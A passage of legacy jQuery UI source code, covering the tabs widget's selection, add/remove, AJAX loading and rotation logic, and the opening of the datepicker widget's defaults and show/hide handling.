                this.$lis.removeClass(o.selectedClass);
                if (o.selected !== null) {
                    this.$panels.eq(o.selected).show().removeClass(o.hideClass);
                    this.$lis.eq(o.selected).addClass(o.selectedClass);
                    var onShow = function() {
                            $(self.element).triggerHandler('tabsshow', [self.fakeEvent('tabsshow'), self.ui(self.$tabs[o.selected], self.$panels[o.selected])], o.show);
                        };
                    if ($.data(this.$tabs[o.selected], 'load.tabs')) this.load(o.selected, onShow);
                    else onShow();
                }
                $(window).bind('unload', function() {
                    self.$tabs.unbind('.tabs');
                    self.$lis = self.$tabs = self.$panels = null;
                });
            }
            for (var i = 0, li; li = this.$lis[i]; i++)
            $(li)[$.inArray(i, o.disabled) != -1 && !$(li).hasClass(o.selectedClass) ? 'addClass' : 'removeClass'](o.disabledClass);
            if (o.cache === false) this.$tabs.removeData('cache.tabs');
            var hideFx, showFx, baseFx = {
                'min-width': 0,
                duration: 1
            },
                baseDuration = 'normal';
            if (o.fx && o.fx.constructor == Array) hideFx = o.fx[0] || baseFx, showFx = o.fx[1] || baseFx;
            else hideFx = showFx = o.fx || baseFx;
            var resetCSS = {
                display: '',
                overflow: '',
                height: ''
            };
            if (!$.browser.msie) resetCSS.opacity = '';

            function hideTab(clicked, $hide, $show) {
                $hide.animate(hideFx, hideFx.duration || baseDuration, function() {
                    $hide.addClass(o.hideClass).css(resetCSS);
                    if ($.browser.msie && hideFx.opacity) $hide[0].style.filter = '';
                    if ($show) showTab(clicked, $show, $hide);
                });
            }

            function showTab(clicked, $show, $hide) {
                if (showFx === baseFx) $show.css('display', 'block');
                $show.animate(showFx, showFx.duration || baseDuration, function() {
                    $show.removeClass(o.hideClass).css(resetCSS);
                    if ($.browser.msie && showFx.opacity) $show[0].style.filter = '';
                    $(self.element).triggerHandler('tabsshow', [self.fakeEvent('tabsshow'), self.ui(clicked, $show[0])], o.show);
                });
            }

            function switchTab(clicked, $li, $hide, $show) {
                $li.addClass(o.selectedClass).siblings().removeClass(o.selectedClass);
                hideTab(clicked, $hide, $show);
            }
            this.$tabs.unbind('.tabs').bind(o.event, function() {
                var $li = $(this).parents('li:eq(0)'),
                    $hide = self.$panels.filter(':visible'),
                    $show = $(this.hash);
                if (($li.hasClass(o.selectedClass) && !o.unselect) || $li.hasClass(o.disabledClass) || $(this).hasClass(o.loadingClass) || $(self.element).triggerHandler('tabsselect', [self.fakeEvent('tabsselect'), self.ui(this, $show[0])], o.select) === false) {
                    this.blur();
                    return false;
                }
                self.options.selected = self.$tabs.index(this);
                if (o.unselect) {
                    if ($li.hasClass(o.selectedClass)) {
                        self.options.selected = null;
                        $li.removeClass(o.selectedClass);
                        self.$panels.stop();
                        hideTab(this, $hide);
                        this.blur();
                        return false;
                    } else if (!$hide.length) {
                        self.$panels.stop();
                        var a = this;
                        self.load(self.$tabs.index(this), function() {
                            $li.addClass(o.selectedClass).addClass(o.unselectClass);
                            showTab(a, $show);
                        });
                        this.blur();
                        return false;
                    }
                }
                if (o.cookie) $.cookie('ui-tabs' + $.data(self.element), self.options.selected, o.cookie);
                self.$panels.stop();
                if ($show.length) {
                    var a = this;
                    self.load(self.$tabs.index(this), $hide.length ?
                    function() {
                        switchTab(a, $li, $hide, $show);
                    } : function() {
                        $li.addClass(o.selectedClass);
                        showTab(a, $show);
                    });
                } else throw 'jQuery UI Tabs: Mismatching fragment identifier.';
                if ($.browser.msie) this.blur();
                return false;
            });
            if (!(/^click/).test(o.event)) this.$tabs.bind('click.tabs', function() {
                return false;
            });
        },
        add: function(url, label, index) {
            if (index == undefined) index = this.$tabs.length;
            var o = this.options;
            var $li = $(o.tabTemplate.replace(/#\{href\}/g, url).replace(/#\{label\}/g, label));
            $li.data('destroy.tabs', true);
            var id = url.indexOf('#') == 0 ? url.replace('#', '') : this.tabId($('a:first-child', $li)[0]);
            var $panel = $('#' + id);
            if (!$panel.length) {
                $panel = $(o.panelTemplate).attr('id', id).addClass(o.hideClass).data('destroy.tabs', true);
            }
            $panel.addClass(o.panelClass);
            if (index >= this.$lis.length) {
                $li.appendTo(this.element);
                $panel.appendTo(this.element[0].parentNode);
            } else {
                $li.insertBefore(this.$lis[index]);
                $panel.insertBefore(this.$panels[index]);
            }
            o.disabled = $.map(o.disabled, function(n, i) {
                return n >= index ? ++n : n
            });
            this.tabify();
            if (this.$tabs.length == 1) {
                $li.addClass(o.selectedClass);
                $panel.removeClass(o.hideClass);
                var href = $.data(this.$tabs[0], 'load.tabs');
                if (href) this.load(index, href);
            }
            this.element.triggerHandler('tabsadd', [this.fakeEvent('tabsadd'), this.ui(this.$tabs[index], this.$panels[index])], o.add);
        },
        remove: function(index) {
            var o = this.options,
                $li = this.$lis.eq(index).remove(),
                $panel = this.$panels.eq(index).remove();
            if ($li.hasClass(o.selectedClass) && this.$tabs.length > 1) this.select(index + (index + 1 < this.$tabs.length ? 1 : -1));
            o.disabled = $.map($.grep(o.disabled, function(n, i) {
                return n != index;
            }), function(n, i) {
                return n >= index ? --n : n
            });
            this.tabify();
            this.element.triggerHandler('tabsremove', [this.fakeEvent('tabsremove'), this.ui($li.find('a')[0], $panel[0])], o.remove);
        },
        enable: function(index) {
            var o = this.options;
            if ($.inArray(index, o.disabled) == -1) return;
            var $li = this.$lis.eq(index).removeClass(o.disabledClass);
            if ($.browser.safari) {
                $li.css('display', 'inline-block');
                setTimeout(function() {
                    $li.css('display', 'block');
                }, 0);
            }
            o.disabled = $.grep(o.disabled, function(n, i) {
                return n != index;
            });
            this.element.triggerHandler('tabsenable', [this.fakeEvent('tabsenable'), this.ui(this.$tabs[index], this.$panels[index])], o.enable);
        },
        disable: function(index) {
            var self = this,
                o = this.options;
            if (index != o.selected) {
                this.$lis.eq(index).addClass(o.disabledClass);
                o.disabled.push(index);
                o.disabled.sort();
                this.element.triggerHandler('tabsdisable', [this.fakeEvent('tabsdisable'), this.ui(this.$tabs[index], this.$panels[index])], o.disable);
            }
        },
        select: function(index) {
            if (typeof index == 'string') index = this.$tabs.index(this.$tabs.filter('[href$=' + index + ']')[0]);
            this.$tabs.eq(index).trigger(this.options.event);
        },
        load: function(index, callback) {
            var self = this,
                o = this.options,
                $a = this.$tabs.eq(index),
                a = $a[0],
                bypassCache = callback == undefined || callback === false,
                url = $a.data('load.tabs');
            callback = callback ||
            function() {};
            if (!url || !bypassCache && $.data(a, 'cache.tabs')) {
                callback();
                return;
            }
            var inner = function(parent) {
                    var $parent = $(parent),
                        $inner = $parent.find('*:last');
                    return $inner.length && $inner.is(':not(img)') && $inner || $parent;
                };
            var cleanup = function() {
                    self.$tabs.filter('.' + o.loadingClass).removeClass(o.loadingClass).each(function() {
                        if (o.spinner) inner(this).parent().html(inner(this).data('label.tabs'));
                    });
                    self.xhr = null;
                };
            if (o.spinner) {
                var label = inner(a).html();
                inner(a).wrapInner('<em></em>').find('em').data('label.tabs', label).html(o.spinner);
            }
            var ajaxOptions = $.extend({}, o.ajaxOptions, {
                url: url,
                success: function(r, s) {
                    $(a.hash).html(r);
                    cleanup();
                    if (o.cache) $.data(a, 'cache.tabs', true);
                    $(self.element).triggerHandler('tabsload', [self.fakeEvent('tabsload'), self.ui(self.$tabs[index], self.$panels[index])], o.load);
                    o.ajaxOptions.success && o.ajaxOptions.success(r, s);
                    callback();
                }
            });
            if (this.xhr) {
                this.xhr.abort();
                cleanup();
            }
            $a.addClass(o.loadingClass);
            setTimeout(function() {
                self.xhr = $.ajax(ajaxOptions);
            }, 0);
        },
        url: function(index, url) {
            this.$tabs.eq(index).removeData('cache.tabs').data('load.tabs', url);
        },
        destroy: function() {
            var o = this.options;
            this.element.unbind('.tabs').removeClass(o.navClass).removeData('tabs');
            this.$tabs.each(function() {
                var href = $.data(this, 'href.tabs');
                if (href) this.href = href;
                var $this = $(this).unbind('.tabs');
                $.each(['href', 'load', 'cache'], function(i, prefix) {
                    $this.removeData(prefix + '.tabs');
                });
            });
            this.$lis.add(this.$panels).each(function() {
                if ($.data(this, 'destroy.tabs')) $(this).remove();
                else $(this).removeClass([o.selectedClass, o.unselectClass, o.disabledClass, o.panelClass, o.hideClass].join(' '));
            });
        },
        fakeEvent: function(type) {
            return $.event.fix({
                type: type,
                target: this.element[0]
            });
        }
    });
    $.ui.tabs.defaults = {
        unselect: false,
        event: 'click',
        disabled: [],
        cookie: null,
        spinner: 'Loading&#8230;',
        cache: false,
        idPrefix: 'ui-tabs-',
        ajaxOptions: {},
        fx: null,
        tabTemplate: '<li><a href="#{href}"><span>#{label}</span></a></li>',
        panelTemplate: '<div></div>',
        navClass: 'ui-tabs-nav',
        selectedClass: 'ui-tabs-selected',
        unselectClass: 'ui-tabs-unselect',
        disabledClass: 'ui-tabs-disabled',
        panelClass: 'ui-tabs-panel',
        hideClass: 'ui-tabs-hide',
        loadingClass: 'ui-tabs-loading'
    };
    $.ui.tabs.getter = "length";
    $.extend($.ui.tabs.prototype, {
        rotation: null,
        rotate: function(ms, continuing) {
            continuing = continuing || false;
            var self = this,
                t = this.options.selected;

            function start() {
                self.rotation = setInterval(function() {
                    t = ++t < self.$tabs.length ? t : 0;
                    self.select(t);
                }, ms);
            }

            function stop(e) {
                if (!e || e.clientX) {
                    clearInterval(self.rotation);
                }
            }
            if (ms) {
                start();
                if (!continuing) this.$tabs.bind(this.options.event, stop);
                else this.$tabs.bind(this.options.event, function() {
                    stop();
                    t = self.options.selected;
                    start();
                });
            } else {
                stop();
                this.$tabs.unbind(this.options.event, stop);
            }
        }
    });
})(jQuery);
(function($) {
    var PROP_NAME = 'datepicker';

    function Datepicker() {
        this.debug = false;
        this._curInst = null;
        this._disabledInputs = [];
        this._datepickerShowing = false;
        this._inDialog = false;
        this._mainDivId = 'ui-datepicker-div';
        this._appendClass = 'ui-datepicker-append';
        this._triggerClass = 'ui-datepicker-trigger';
        this._dialogClass = 'ui-datepicker-dialog';
        this._promptClass = 'ui-datepicker-prompt';
        this._unselectableClass = 'ui-datepicker-unselectable';
        this._currentClass = 'ui-datepicker-current-day';
        this.regional = [];
        this.regional[''] = {
            clearText: 'Clear',
            clearStatus: 'Erase the current date',
            closeText: 'Close',
            closeStatus: 'Close without change',
            prevText: '&#x3c;Prev',
            prevStatus: 'Show the previous month',
            nextText: 'Next&#x3e;',
            nextStatus: 'Show the next month',
            currentText: 'Today',
            currentStatus: 'Show the current month',
            monthNames: ['January', 'February', 'March', 'April', 'May', 'June', 'July', 'August', 'September', 'October', 'November', 'December'],
            monthNamesShort: ['Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec'],
            monthStatus: 'Show a different month',
            yearStatus: 'Show a different year',
            weekHeader: 'Wk',
            weekStatus: 'Week of the year',
            dayNames: ['Sunday', 'Monday', 'Tuesday', 'Wednesday', 'Thursday', 'Friday', 'Saturday'],
            dayNamesShort: ['Sun', 'Mon', 'Tue', 'Wed', 'Thu', 'Fri', 'Sat'],
            dayNamesMin: ['Su', 'Mo', 'Tu', 'We', 'Th', 'Fr', 'Sa'],
            dayStatus: 'Set DD as first week day',
            dateStatus: 'Select DD, M d',
            dateFormat: 'mm/dd/yy',
            firstDay: 0,
            initStatus: 'Select a date',
            isRTL: false
        };
        this._defaults = {
            showOn: 'focus',
            showAnim: 'show',
            showOptions: {},
            defaultDate: null,
            appendText: '',
            buttonText: '...',
            buttonImage: '',
            buttonImageOnly: false,
            closeAtTop: true,
            mandatory: false,
            hideIfNoPrevNext: false,
            navigationAsDateFormat: false,
            gotoCurrent: false,
            changeMonth: true,
            changeYear: true,
            yearRange: '-10:+10',
            changeFirstDay: true,
            highlightWeek: false,
            showOtherMonths: false,
            showWeeks: false,
            calculateWeek: this.iso8601Week,
            shortYearCutoff: '+10',
            showStatus: false,
            statusForDate: this.dateStatus,
            minDate: null,
            maxDate: null,
            duration: 'normal',
            beforeShowDay: null,
            beforeShow: null,
            onSelect: null,
            onChangeMonthYear: null,
            onClose: null,
            numberOfMonths: 1,
            stepMonths: 1,
            rangeSelect: false,
            rangeSeparator: ' - ',
            altField: '',
            altFormat: ''
        };
        $.extend(this._defaults, this.regional['']);
        this.dpDiv = $('<div id="' + this._mainDivId + '" style="display: none;"></div>');
    }
    $.extend(Datepicker.prototype, {
        markerClassName: 'hasDatepicker',
        log: function() {
            if (this.debug) console.log.apply('', arguments);
        },
        setDefaults: function(settings) {
            extendRemove(this._defaults, settings || {});
            return this;
        },
        _attachDatepicker: function(target, settings) {
            var inlineSettings = null;
            for (attrName in this._defaults) {
                var attrValue = target.getAttribute('date:' + attrName);
                if (attrValue) {
                    inlineSettings = inlineSettings || {};
                    try {
                        inlineSettings[attrName] = eval(attrValue);
                    } catch (err) {
                        inlineSettings[attrName] = attrValue;
                    }
                }
            }
            var nodeName = target.nodeName.toLowerCase();
            var inline = (nodeName == 'div' || nodeName == 'span');
            if (!target.id) target.id = 'dp' + new Date().getTime();
            var inst = this._newInst($(target), inline);
            inst.settings = $.extend({}, settings || {}, inlineSettings || {});
            if (nodeName == 'input') {
                this._connectDatepicker(target, inst);
            } else if (inline) {
                this._inlineDatepicker(target, inst);
            }
        },
        _newInst: function(target, inline) {
            return {
                id: target[0].id,
                input: target,
                selectedDay: 0,
                selectedMonth: 0,
                selectedYear: 0,
                drawMonth: 0,
                drawYear: 0,
                inline: inline,
                dpDiv: (!inline ? this.dpDiv : $('<div class="ui-datepicker-inline"></div>'))
            };
        },
        _connectDatepicker: function(target, inst) {
            var input = $(target);
            if (input.hasClass(this.markerClassName)) return;
            var appendText = this._get(inst, 'appendText');
            var isRTL = this._get(inst, 'isRTL');
            if (appendText) input[isRTL ? 'before' : 'after']('<span class="' + this._appendClass + '">' + appendText + '</span>');
            var showOn = this._get(inst, 'showOn');
            if (showOn == 'focus' || showOn == 'both') input.focus(this._showDatepicker);
            if (showOn == 'button' || showOn == 'both') {
                var buttonText = this._get(inst, 'buttonText');
                var buttonImage = this._get(inst, 'buttonImage');
                var trigger = $(this._get(inst, 'buttonImageOnly') ? $('<img/>').addClass(this._triggerClass).attr({
                    src: buttonImage,
                    alt: buttonText,
                    title: buttonText
                }) : $('<button type="button"></button>').addClass(this._triggerClass).html(buttonImage == '' ? buttonText : $('<img/>').attr({
                    src: buttonImage,
                    alt: buttonText,
                    title: buttonText
                })));
                input[isRTL ? 'before' : 'after'](trigger);
                trigger.click(function() {
                    if ($.datepicker._datepickerShowing && $.datepicker._lastInput == target) $.datepicker._hideDatepicker();
                    else $.datepicker._showDatepicker(target);
                    return false;
                });
            }
            input.addClass(this.markerClassName).keydown(this._doKeyDown).keypress(this._doKeyPress).bind("setData.datepicker", function(event, key, value) {
                inst.settings[key] = value;
            }).bind("getData.datepicker", function(event, key) {
                return this._get(inst, key);
            });
            $.data(target, PROP_NAME, inst);
        },
        _inlineDatepicker: function(target, inst) {
            var input = $(target);
            if (input.hasClass(this.markerClassName)) return;
            input.addClass(this.markerClassName).append(inst.dpDiv).bind("setData.datepicker", function(event, key, value) {
                inst.settings[key] = value;
            }).bind("getData.datepicker", function(event, key) {
                return this._get(inst, key);
            });
            $.data(target, PROP_NAME, inst);
            this._setDate(inst, this._getDefaultDate(inst));
            this._updateDatepicker(inst);
        },
        _dialogDatepicker: function(input, dateText, onSelect, settings, pos) {
            var inst = this._dialogInst;
            if (!inst) {
                var id = 'dp' + new Date().getTime();
                this._dialogInput = $('<input type="text" id="' + id + '" size="1" style="position: absolute; top: -100px;"/>');
                this._dialogInput.keydown(this._doKeyDown);
                $('body').append(this._dialogInput);
                inst = this._dialogInst = this._newInst(this._dialogInput, false);
                inst.settings = {};
                $.data(this._dialogInput[0], PROP_NAME, inst);
            }
            extendRemove(inst.settings, settings || {});
            this._dialogInput.val(dateText);
            this._pos = (pos ? (pos.length ? pos : [pos.pageX, pos.pageY]) : null);
            if (!this._pos) {
                var browserWidth = window.innerWidth || document.documentElement.clientWidth || document.body.clientWidth;
                var browserHeight = window.innerHeight || document.documentElement.clientHeight || document.body.clientHeight;
                var scrollX = document.documentElement.scrollLeft || document.body.scrollLeft;
                var scrollY = document.documentElement.scrollTop || document.body.scrollTop;
                this._pos = [(browserWidth / 2) - 100 + scrollX, (browserHeight / 2) - 150 + scrollY];
            }
            this._dialogInput.css('left', this._pos[0] + 'px').css('top', this._pos[1] + 'px');
            inst.settings.onSelect = onSelect;
            this._inDialog = true;
            this.dpDiv.addClass(this._dialogClass);
            this._showDatepicker(this._dialogInput[0]);
            if ($.blockUI) $.blockUI(this.dpDiv);
            $.data(this._dialogInput[0], PROP_NAME, inst);
            return this;
        },
        _destroyDatepicker: function(target) {
            var nodeName = target.nodeName.toLowerCase();
            var $target = $(target);
            $.removeData(target, PROP_NAME);
            if (nodeName == 'input') {
                $target.siblings('.' + this._appendClass).remove().end().siblings('.' + this._triggerClass).remove().end().removeClass(this.markerClassName).unbind('focus', this._showDatepicker).unbind('keydown', this._doKeyDown).unbind('keypress', this._doKeyPress);
            } else if (nodeName == 'div' || nodeName == 'span') $target.removeClass(this.markerClassName).empty();
        },
        _enableDatepicker: function(target) {
            target.disabled = false;
            $(target).siblings('button.' + this._triggerClass).each(function() {
                this.disabled = false;
            }).end().siblings('img.' + this._triggerClass).css({
                opacity: '1.0',
                cursor: ''
            });
            this._disabledInputs = $.map(this._disabledInputs, function(value) {
                return (value == target ? null : value);
            });
        },
        _disableDatepicker: function(target) {
            target.disabled = true;
            $(target).siblings('button.' + this._triggerClass).each(function() {
                this.disabled = true;
            }).end().siblings('img.' + this._triggerClass).css({
                opacity: '0.5',
                cursor: 'default'
            });
            this._disabledInputs = $.map(this._disabledInputs, function(value) {
                return (value == target ? null : value);
            });
            this._disabledInputs[this._disabledInputs.length] = target;
        },
        _isDisabledDatepicker: function(target) {
            if (!target) return false;
            for (var i = 0; i < this._disabledInputs.length; i++) {
                if (this._disabledInputs[i] == target) return true;
            }
            return false;
        },
        _changeDatepicker: function(target, name, value) {
            var settings = name || {};
            if (typeof name == 'string') {
                settings = {};
                settings[name] = value;
            }
            if (inst = $.data(target, PROP_NAME)) {
                extendRemove(inst.settings, settings);
                this._updateDatepicker(inst);
            }
        },
        _setDateDatepicker: function(target, date, endDate) {
            var inst = $.data(target, PROP_NAME);
            if (inst) {
                this._setDate(inst, date, endDate);
                this._updateDatepicker(inst);
            }
        },
        _getDateDatepicker: function(target) {
            var inst = $.data(target, PROP_NAME);
            if (inst) this._setDateFromField(inst);
            return (inst ? this._getDate(inst) : null);
        },
        _doKeyDown: function(e) {
            var inst = $.data(e.target, PROP_NAME);
            var handled = true;
            if ($.datepicker._datepickerShowing) switch (e.keyCode) {
            case 9:
                $.datepicker._hideDatepicker(null, '');
                break;
            case 13:
                $.datepicker._selectDay(e.target, inst.selectedMonth, inst.selectedYear, $('td.ui-datepicker-days-cell-over', inst.dpDiv)[0]);
                return false;
                break;
            case 27:
                $.datepicker._hideDatepicker(null, $.datepicker._get(inst, 'duration'));
                break;
            case 33:
                $.datepicker._adjustDate(e.target, (e.ctrlKey ? -1 : -$.datepicker._get(inst, 'stepMonths')), (e.ctrlKey ? 'Y' : 'M'));
                break;
            case 34:
                $.datepicker._adjustDate(e.target, (e.ctrlKey ? +1 : +$.datepicker._get(inst, 'stepMonths')), (e.ctrlKey ? 'Y' : 'M'));
                break;
            case 35:
                if (e.ctrlKey) $.datepicker._clearDate(e.target);
                break;
            case 36:
                if (e.ctrlKey) $.datepicker._gotoToday(e.target);
                break;
            case 37:
                if (e.ctrlKey) $.datepicker._adjustDate(e.target, -1, 'D');
                break;
            case 38:
                if (e.ctrlKey) $.datepicker._adjustDate(e.target, -7, 'D');
                break;
            case 39:
                if (e.ctrlKey) $.datepicker._adjustDate(e.target, +1, 'D');
                break;
            case 40:
                if (e.ctrlKey) $.datepicker._adjustDate(e.target, +7, 'D');
                break;
            default:
                handled = false;
            } else if (e.keyCode == 36 && e.ctrlKey) $.datepicker._showDatepicker(this);
            else handled = false;
            if (handled) {
                e.preventDefault();
                e.stopPropagation();
            }
        },
        _doKeyPress: function(e) {
            var inst = $.data(e.target, PROP_NAME);
            var chars = $.datepicker._possibleChars($.datepicker._get(inst, 'dateFormat'));
            var chr = String.fromCharCode(e.charCode == undefined ? e.keyCode : e.charCode);
            return e.ctrlKey || (chr < ' ' || !chars || chars.indexOf(chr) > -1);
        },
        _showDatepicker: function(input) {
            input = input.target || input;
            if (input.nodeName.toLowerCase() != 'input') input = $('input', input.parentNode)[0];
            if ($.datepicker._isDisabledDatepicker(input) || $.datepicker._lastInput == input) return;
            var inst = $.data(input, PROP_NAME);
            var beforeShow = $.datepicker._get(inst, 'beforeShow');
            extendRemove(inst.settings, (beforeShow ? beforeShow.apply(input, [input, inst]) : {}));
            $.datepicker._hideDatepicker(null, '');
            $.datepicker._lastInput = input;
            $.datepicker._setDateFromField(inst);
            if ($.datepicker._inDialog) input.value = '';
            if (!$.datepicker._pos) {
                $.datepicker._pos = $.datepicker._findPos(input);
                $.datepicker._pos[1] += input.offsetHeight;
            }
            var isFixed = false;
            $(input).parents().each(function() {
                isFixed |= $(this).css('position') == 'fixed';
                return !isFixed;
            });
            if (isFixed && $.browser.opera) {
                $.datepicker._pos[0] -= document.documentElement.scrollLeft;
                $.datepicker._pos[1] -= document.documentElement.scrollTop;
            }
            var offset = {
                left: $.datepicker._pos[0],
                top: $.datepicker._pos[1]
            };
            $.datepicker._pos = null;
            inst.rangeStart = null;
            inst.dpDiv.css({
                position: 'absolute',
                display: 'block',
                top: '-1000px'
            });
            $.datepicker._updateDatepicker(inst);
            inst.dpDiv.width($.datepicker._getNumberOfMonths(inst)[1] * $('.ui-datepicker', inst.dpDiv[0])[0].offsetWidth);
            offset = $.datepicker._checkOffset(inst, offset, isFixed);
            inst.dpDiv.css({
                position: ($.datepicker._inDialog && $.blockUI ? 'static' : (isFixed ? 'fixed' : 'absolute')),
                display: 'none',
                left: offset.left + 'px',
                top: offset.top + 'px'
            });
            if (!inst.inline) {
                var showAnim = $.datepicker._get(inst, 'showAnim') || 'show';
                var duration = $.datepicker._get(inst, 'duration');
                var postProcess = function() {
                        $.datepicker._datepickerShowing = true;
                        if ($.browser.msie && parseInt($.browser.version) < 7) $('iframe.ui-datepicker-cover').css({
                            width: inst.dpDiv.width() + 4,
                            height: inst.dpDiv.height() + 4
                        });
                    };
                if ($.effects && $.effects[showAnim]) inst.dpDiv.show(showAnim, $.datepicker._get(inst, 'showOptions'), duration, postProcess);
                else inst.dpDiv[showAnim](duration, postProcess);
                if (duration == '') postProcess();
                if (inst.input[0].type != 'hidden') inst.input[0].focus();
                $.datepicker._curInst = inst;
            }
        },
        _updateDatepicker: function(inst) {
            var dims = {
                width: inst.dpDiv.width() + 4,
                height: inst.dpDiv.height() + 4
            };
            inst.dpDiv.empty().append(this._generateDatepicker(inst)).find('iframe.ui-datepicker-cover').css({
                width: dims.width,
                height: dims.height
            });
            var numMonths = this._getNumberOfMonths(inst);
            inst.dpDiv[(numMonths[0] != 1 || numMonths[1] != 1 ? 'add' : 'remove') + 'Class']('ui-datepicker-multi');
            inst.dpDiv[(this._get(inst, 'isRTL') ? 'add' : 'remove') + 'Class']('ui-datepicker-rtl');
            if (inst.input && inst.input[0].type != 'hidden') $(inst.input[0]).focus();
        },
        _checkOffset: function(inst, offset, isFixed) {
            var pos = inst.input ? this._findPos(inst.input[0]) : null;
            var browserWidth = window.innerWidth || document.documentElement.clientWidth;
            var browserHeight = window.innerHeight || document.documentElement.clientHeight;
            var scrollX = document.documentElement.scrollLeft || document.body.scrollLeft;
            var scrollY = document.documentElement.scrollTop || document.body.scrollTop;
            if (this._get(inst, 'isRTL') || (offset.left + inst.dpDiv.width() - scrollX) > browserWidth) offset.left = Math.max((isFixed ? 0 : scrollX), pos[0] + (inst.input ? inst.input.width() : 0) - (isFixed ? scrollX : 0) - inst.dpDiv.width() - (isFixed && $.browser.opera ? document.documentElement.scrollLeft : 0));
            else offset.left -= (isFixed ? scrollX : 0);
            if ((offset.top + inst.dpDiv.height() - scrollY) > browserHeight) offset.top = Math.max((isFixed ? 0 : scrollY), pos[1] - (isFixed ? scrollY : 0) - (this._inDialog ? 0 : inst.dpDiv.height()) - (isFixed && $.browser.opera ? document.documentElement.scrollTop : 0));
            else offset.top -= (isFixed ? scrollY : 0);
            return offset;
        },
        _findPos: function(obj) {
            while (obj && (obj.type == 'hidden' || obj.nodeType != 1)) {
                obj = obj.nextSibling;
            }
            var position = $(obj).offset();
            return [position.left, position.top];
        },
        _hideDatepicker: function(input, duration) {
            var inst = this._curInst;
            if (!inst) return;
            var rangeSelect = this._get(inst, 'rangeSelect');
            if (rangeSelect && this._stayOpen) this._selectDate('#' + inst.id, this._formatDate(inst, inst.currentDay, inst.currentMonth, inst.currentYear));
            this._stayOpen = false;
            if (this._datepickerShowing) {
                duration = (duration != null ? duration : this._get(inst, 'duration'));
                var showAnim = this._get(inst, 'showAnim');
                var postProcess = function() {
                        $.datepicker._tidyDialog(inst);
                    };
                if (duration != '' && $.effects && $.effects[showAnim]) inst.dpDiv.hide(showAnim, $.datepicker._get(inst, 'showOptions'), duration, postProcess);
                else inst.dpDiv[(duration == '' ? 'hide' : (showAnim == 'slideDown' ? 'slideUp' : (showAnim == 'fadeIn' ? 'fadeOut' : 'hide')))](duration, postProcess);
                if (duration == '') this._tidyDialog(inst);
                var onClose = this._get(inst, 'onClose');
                if (onClose) onClose.apply((inst.input ? inst.input[0] : null), [this._getDate(inst), inst]);
                this._datepickerShowing = false;
                this._lastInput = null;
                inst.settings.prompt = null;
                if (this._inDialog) {
                    this._dialogInput.css({
                        position: 'absolute',
                        left: '0',
                        top: '-100px'
                    });
                    if ($.blockUI) {
                        $.unblockUI();
                        $('body').append(this.dpDiv);
                    }
                }
                this._inDialog = false;
            }
            this._curInst = null;
        },
        _tidyDialog: function(inst) {
            inst.dpDiv.removeClass(this._dialogClass).unbind('.ui-datepicker');
            $('.' + this._promptClass, inst.dpDiv).remove();
        },
        _checkExternalClick: function(event) {
            if (!$.datepicker._curInst) return;
            var $target = $(event.target);
            if (($target.parents('#' + $.datepicker._mainDivId).length == 0) && !$target.hasClass($.datepicker.markerClassName) && !$target.hasClass($.datepicker._triggerClass) && $.datepicker._datepickerShowing && !($.datepicker._inDialog && $.blockUI)) $.datepicker._hideDatepicker(null, '');
        },
        _adjustDate: function(id, offset, period) {
            var target = $(id);
            var inst = $.data(target[0], PROP_NAME);
            this._adjustInstDate(inst, offset, period);
            this._updateDatepicker(inst);
        },
        _gotoToday: function(id) {
            var target = $(id);
            var inst = $.data(target[0], PROP_NAME);
            if (this._get(inst, 'gotoCurrent') && inst.currentDay) {
                inst.selectedDay = inst.currentDay;
                inst.drawMonth = inst.selectedMonth = inst.currentMonth;
                inst.drawYear = inst.selectedYear = inst.currentYear;
            } else {
                var date = new Date();
                inst.selectedDay = date.getDate();
                inst.drawMonth = inst.selectedMonth = date.getMonth();
                inst.drawYear = inst.selectedYear = date.getFullYear();
            }
            this._adjustDate(target);
            this._notifyChange(inst);
        },
        _selectMonthYear: function(id, select, period) {
            var target = $(id);
            var inst = $.data(target[0], PROP_NAME);
            inst._selectingMonthYear = false;
            inst[period == 'M' ? 'drawMonth' : 'drawYear'] = select.options[select.selectedIndex].value - 0;
            this._adjustDate(target);
            this._notifyChange(inst);
        },
        _clickMonthYear: function(id) {
            var target = $(id);
            var inst = $.data(target[0], PROP_NAME);
            if (inst.input && inst._selectingMonthYear && !$.browser.msie) inst.input[0].focus();
            inst._selectingMonthYear = !inst._selectingMonthYear;
        },
        _changeFirstDay: function(id, day) {
            var target = $(id);
            var inst = $.data(target[0], PROP_NAME);
            inst.settings.firstDay = day;
            this._updateDatepicker(inst);
        },
        _selectDay: function(id, month, year, td) {
            if ($(td).hasClass(this._unselectableClass)) return;
            var target = $(id);
            var inst = $.data(target[0], PROP_NAME);
            var rangeSelect = this._get(inst, 'rangeSelect');
            if (rangeSelect) {
                this._stayOpen = !this._stayOpen;
                if (this._stayOpen) {
                    $('.ui-datepicker td').removeClass(this._currentClass);
                    $(td).addClass(this._currentClass);
                }
            }
            inst.selectedDay = inst.currentDay = $('a', td).html();
            inst.selectedMonth = inst.currentMonth = month;
            inst.selectedYear = inst.currentYear = year;
            if (this._stayOpen) {
                inst.endDay = inst.endMonth = inst.endYear = null;
            } else if (rangeSelect) {
                inst.endDay = inst.currentDay;
                inst.endMonth = inst.currentMonth;
                inst.endYear = inst.currentYear;
            }
            this._selectDate(id, this._formatDate(inst, inst.currentDay, inst.currentMonth, inst.currentYear));
            if (this._stayOpen) {
                inst.rangeStart = this._daylightSavingAdjust(new Date(inst.currentYear, inst.currentMonth, inst.currentDay));
                this._updateDatepicker(inst);
            } else if (rangeSelect) {
                inst.selectedDay = inst.currentDay = inst.rangeStart.getDate();
                inst.selectedMonth = inst.currentMonth = inst.rangeStart.getMonth();
                inst.selectedYear = inst.currentYear = inst.rangeStart.getFullYear();
                inst.rangeStart = null;
                if (inst.inline) this._updateDatepicker(inst);
            }
        },
        _clearDate: function(id) {
            var target = $(id);
            var inst = $.data(target[0], PROP_NAME);
            if (this._get(inst, 'mandatory')) return;
            this._stayOpen = false;
            inst.endDay = inst.endMonth = inst.endYear = inst.rangeStart = null;
            this._selectDate(target, '');
        },
        _selectDate: function(id, dateStr) {
            var target = $(id);
            var inst = $.data(target[0], PROP_NAME);
            dateStr = (dateStr != null ? dateStr : this._formatDate(inst));
            if (this._get(inst, 'rangeSelect') && dateStr) dateStr = (inst.rangeStart ? this._formatDate(inst, inst.rangeStart) : dateStr) + this._get(inst, 'rangeSeparator') + dateStr;
            if (inst.input) inst.input.val(dateStr);
            this._updateAlternate(inst);
            var onSelect = this._get(inst, 'onSelect');
